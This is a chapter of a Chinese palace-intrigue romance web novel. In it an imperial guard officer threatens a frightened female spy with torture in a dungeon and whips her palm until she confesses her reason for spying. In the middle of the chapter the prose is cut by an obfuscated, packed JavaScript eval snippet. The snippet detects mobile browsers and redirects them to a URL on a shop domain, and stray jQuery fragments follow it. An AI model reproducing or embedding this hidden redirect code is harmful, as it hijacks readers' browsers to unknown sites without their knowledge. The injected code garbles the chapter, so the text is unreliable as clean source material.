5. 005

作品:《装货小叔,悔不当初

    锦姝瞬间失了神,股战而栗。


    腰间的束带被他勾得愈发紧,她挣扎不得,眼泪在眸中打起转:“我...我只是出府逛逛。”


    “是吗?”


    祈璟松开她,单手挑开了她的束带。


    束带瞬间被勾散,外襟从身上滑落而下...


    锦姝一抖,抱臂瑟缩在了车角处,身上只余下一件单薄的月白色纱衣,藕色的合欢襟带隐隐而露。


    见她躲开,祈璟俯下身,拽住了她的襟带:“怎么?你怕本官会要了你不成?”


    “我对祈玉的女人可没兴趣。”


    不但没兴趣,还视若敝屣。


    他松开她的襟带,细细的襟带弹回到少女的香肩处,泛起了一道薄红的细痕。


    两人此刻贴的极近,逼仄的车厢内,溢满了少女身上的清甜香气。


    祈璟眉心轻蹙,嫌弃的别过脸。


    涂得什么破粉脂。


    腻人又刺鼻。


    他那窝囊废大哥平日里竟也不嫌。


    哦,差点忘了,祈玉不能人道...


    祈璟走了一瞬神,旋即将手指探入她的襟领处,抽出了一张卷起来的宣纸。


    冰凉的手陡然触于脖颈上,锦姝打了个寒颤,慌乱的抬眼望向他。


    祈璟将宣纸夹于指中,在她面前晃着:“胆子不小。偷大学士的谏书,可是要五马分尸的大罪,让皇爷知道了,说不定还要活剥了你的皮,到时候就看看东厂那死阉货会不会来替你收尸。”


    “我没有,没...有。”


    锦姝吓到快要说不出话。


    她若死了,提督大人定是会帮她收尸的。


    可她落到祈璟手里,只怕会生不如死。


    “没有?”


    祈璟提着她的襟领,将她拽至自己的双膝间,拿起身侧的短鞭,挑起她的下巴:“好啊,那就看看是你的嘴硬,还是镇抚司的刑具硬,再敢偷谏书,本官就把你扔去喂狼,山里的野狼,这时候正饿着。”


    “大...大人,不要...”


    话一落,锦姝顿时吓得抽泣出声,抱住他的小腿,苦苦哀求起来。


    祈璟面色阴沉了下来:“松开。”


    他还从未与女人有过肢体相触,仅有的两次,都是她。


    他被她整整冒犯了两次。


    真是不知死活,真该直接杀了她。


    锦姝忙松开他:“大人,我再也不敢了,求求您了,别把我下狱好不好,我不想死...”


    更不想被喂狼...


    祈璟置若罔闻,阖眼靠后,指节轻敲着双膝,朝车外道:“驾车。”


    少女的抽泣声在耳畔低响,祈璟冷哼了一声,暗觉可笑。


    其实这女人根本掀不起什么风浪,他身任锦衣卫,当朝官员平日里的作风和行止,皆被他暗中掌控着。


    祈玉为内阁大学士,自是要谏言于皇爷,但多数也就是些无关紧要的冗词罢了。


    不过是周时序那个阉货怕他谏去弹劾东厂之词,才找来这么一个胆小如鼠的女人当眼线。


    也好,他近来甚闲,有的是时间陪他们玩。


    他就是看不惯那个阉货,他偏要看着他铩羽折戟。


    马车颠簸了一瞬,祈璟睁开眼,觑向在车角处缩成小小一团的锦姝,唇角玩味地轻勾起来。


    真是胆小。


    像只蠢兔子。


    欺负她,还真是有趣。


    他已经好久未觉得何事有趣过了。


    ***


    镇抚司的地牢内,晦暝悚人,蛇虫鼠蚁躲于暗处,幽幽伺爬。


    “都下去吧。”


    祈璟将锦姝带到了地牢最深处,抬手挥退掉旁人。


    适才从甬道走过时,耳畔边尽是哀凄的叫声,而眼下只余一片死寂,恐惧感更甚于方才。


    锦姝双手紧攥住裙摆,脊背不断渗出冷汗...


    祈璟抬手捏住锦姝纤细的后颈,迫她看向眼前的夹板。


    “没见过这是做什么的吧?来,本官给你讲讲。”


    他紧贴向她的耳侧:“这是拶指板,专门压指骨用的,这绳索一动,你的指骨就碎了,变成粉末去喂老鼠。”


    “不...不要!”


    锦姝将双手捂在耳旁,蹲身蜷缩在墙角处。


    怎么办...谁能来救救她。


    祈玉自是不会来的。


    那周时序呢...


    不,不行。


    周提督是唯一能帮她寻阿姐的人,她不能将他彻底出卖掉...


    最后一丝理智极力压制着恐惧,锦姝贝齿深陷进唇瓣,半晌未语...


    祈璟眯起眼,眸色深深地睥睨着她。


    呵,还挺有骨气。


    但他专爱折人风骨。


    祈璟抬臂取下刑架上的软鞭,朝一侧摆着的长形横木凳扬了扬下巴。


    反应过来他是何意后,锦姝双手环住肩,软颤难立...


    见她不动,祈璟缓缓走向她,将软鞭在手里掂了掂:“别让我耐心耗尽,嗯?”


    男人高挑的身量在地上覆下整片阴影,将她瘦小的娇躯紧紧笼罩住。


    极致的压迫感让她几乎快要窒息...


    锦姝用手撑着墙,强站起身,一步一凛地走向木凳前,屈身趴下。


    她闭上眼,泪湿长睫。


    这样的姿势,这样的屈辱,她从前在教坊司内不是没受过。


    可尽管如此,她还是恐慌至极,无助到了极点...


    见她乖乖趴下,祈璟扬起手腕,欲落鞭于她身上。


    他想,他今日一定要好好治这个蠢兔子,让她无一不落地将所有事都交代于他。


    可鞭将要落下时,趴于凳上的少女突然哭出了声,泣如碎玉,惹人心颤。


    祈璟的手顿于半空,剑眉蹙起,莫名地生起一股烦躁和不安。


    趴于凳上的少女身姿单薄,削瘦的肩膀不住地抖着,头上的双环髻也随之颤动着,好似一只受了伤的幼兽,困顿,可怜。


    他放下手,蹲身到她面前,扼住了她的下巴。


    锦姝被迫向后仰起头,眼角蕴着薄红,泪水簌簌而落,滑坠在了祈璟的手上。


    她想开口求饶,求他放过自己。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17074702|195235||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    可人在极度恐惧时,竟连声音都发不出来...


    她只能死死咬住唇瓣,越咬越深。


    祈璟目光一凛,以为她欲咬舌自尽,瞬时将手指探入了她的嘴里,压住了她的舌根。


    锦姝怔忪住,呜咽着摇起头...


    温热的舌尖划过修长的指尖,祈璟脊背僵了一瞬,随而将手指猛地抽出。


    祈璟盯着她唇瓣下陷出的齿印,愈发烦躁了起来。


    鲜红色的唇脂沾染到了他骨节分明的手上,他蹙了蹙眉,将手指在锦姝的脸上蹭了几许,起身倚在墙上,冷声道:“起来。”


    锦姝纤手紧叩在木凳边缘,失神地低喘着,一时未应得过来...


    祈璟神色不耐:“聋了?”


    “三,二...”


    “是...是。”


    锦姝慌忙撑起身,抬腕拭着眼泪,凄凄楚楚地望向他。


    祈璟望着她娇怜的脸,烦躁又添了几分。


    他向她走近:“抬手,掌心朝上。”


    锦姝闭上眼,颤颤巍巍地抬起手,将掌心翻向他。


    祈璟将鞭子在自己手中掂了掂,随即抽向她的掌心。


    “啊!”


    疼痛袭来,锦姝将手向后缩着,仰头求饶:“大人!求求您了,您放过我吧。”


    又疼又羞耻...


    好似在教育一个顽劣的幼童。


    祈璟将鞭子扔在地上:“疼?本官可只用了一分力,你若再嘴硬,今日不用刽子手,本官便能让你断了胳膊。”


    他今日难得心慈,只用了一分力,若是真下了狠手,她现在怕是说不出话了。


    “不,不要...我说...”


    锦姝哭得愈发凶,恐惧彻底击溃了她最后的一丝坚韧与倔强。


    连武将落在祈璟手里,都能被逼到跪地求饶,更遑论是她...


    她垂下头,哽咽道:“我进府来,并非是要害大公子,我...我是贱籍之身,父亲母亲自也都因罪被处死了,只是我的嫡姐还活着,那是我唯一的亲人,不过...我一直未寻到她。我替提督大人办事,只是因他应了我会帮我找到嫡姐,提督大人也并无歹意,他只是...”


    “只是什么?只是本官逼人太甚?””


    祈璟坐向一旁的木椅,长腿交叠,深邃的眉眼冷洌下来,迫人至极。


    “不是,没有...没有的大人,我不是这个意思。”


    “那是何意?”


    他早已查过她的身世,但他未料及,这个小蠢货竟只是为了找一个同父异母的嫡姐。


    若说没有其他的好处,他断断不信。


    毕竟他从未体会过何为亲情,他自是不解。


    正欲再开口时,甬道处突然传来了一阵急促的脚步声。


    “启禀大人,东厂的周提督来了,说是要见您。”


    “让他滚。”


    “那祈大人今日怕是不得不见我了。”


    一道温润而不尖锐的声音打断了两人的对话,祈璟蓦地站起身,眸中戾气横生。


    锦姝忪在原地,长睫轻颤了起来:“提督大人...”